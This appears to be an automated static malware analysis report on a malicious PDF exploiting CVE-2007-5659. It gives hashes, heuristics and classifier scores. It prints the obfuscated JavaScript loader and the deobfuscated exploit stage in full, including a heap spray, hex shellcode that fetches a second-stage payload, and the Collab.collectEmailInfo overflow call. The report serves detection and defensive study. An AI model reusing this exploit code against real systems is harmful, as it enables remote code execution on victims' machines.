Malicious PDF — malware analysis report

Static analysis result for SHA-256 01cbfc1686626739…

MALICIOUS

PDF

23.3 KB Created: 2012-08-25 19:31:42 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2013-08-11
MD5: fcee4fbc4a078c435925fe79568061cf SHA-1: b00e3e0e36fb826568ff7300a75c1626d7cf2c7a SHA-256: 01cbfc168662673961ba99ccb986db18f8ebdfe190e5cbdd56d711e21e3bf424
110 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF exploits CVE-2007-5659 via the Collab.collectEmailInfo JavaScript API to perform a heap spray. The embedded JavaScript, after deobfuscation, reveals a heap spray function and a shellcode string, indicating the intent to download and execute a second-stage payload. The ML classifier strongly supports the malicious nature of this file.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x5A2E 1070 bytes
SHA-256: f417e30240ed6258be0e094d38b1d2fd13c02a2b190e676d508637737a1da667
Detection
ClamAV: No threats found
Obfuscation or payload: likely
15 of 27 identifiers look randomly generated (e.g. 'cxbnadgasgsdghdfgsdg') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var grqegasdfasd = ":A"+"BCDE"+"F"+"GHIJKLM";
var t24tqwtrqewrqw = "NO"+"PQRS"+"TUV"+"WX";
var czxbrewgfasdfas = "YZ{} ()"+"[]^";
var xxzcvawfasdfas =czxbrewgfasdfas+"abcd"+"efghijklmnopqrs";
var gnassdfvasvzcx = 'tuvwxyz_01234567'+'89/!%+-*.,;"=<>&'+'\\';
var vvfabvzcxvaffd=grqegasdfasd+t24tqwtrqewrqw+xxzcvawfasdfas+gnassdfvasvzcx;
function cvnatgfadfasd(mnfajodfuiasfs){
var cxbnadgasgsdghdfgsdg="";
var nmshtjsgfdsgds=vvfabvzcxvaffd.indexOf(mnfajodfuiasfs)-6;
if (nmshtjsgfdsgds<0){nmshtjsgfdsgds=nmshtjsgfdsgds+vvfabvzcxvaffd.length;}
cxbnadgasgsdghdfgsdg=vvfabvzcxvaffd.charAt(nmshtjsgfdsgds);
return cxbnadgasgsdghdfgsdg;}
function eadfzxcvasfsd(ysegsfdgasdfg){
var fvbaerfadf='';
for (var i = 0;i< ysegsfdgasdfg.length-1;i++)
{fvbaerfadf += cvnatgfadfasd(ysegsfdgasdfg[i]);}
return fvbaerfadf;}
var uehsgdhdsfg=getField("Text2");
var mgnuiao78sfasdf=uehsgdhdsfg.value;
var rtywtgdsfgsd=eadfzxcvasfsd(mgnuiao78sfasdf);
var mrwhagdsfgas = 'fgjbuerwioipejijisovnaicasodfskal';
app[mrwhagdsfgas[5]+mrwhagdsfgas[19]+mrwhagdsfgas[21]+mrwhagdsfgas[32]](rtywtgdsfgsd);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 6) at offset 0x4E1 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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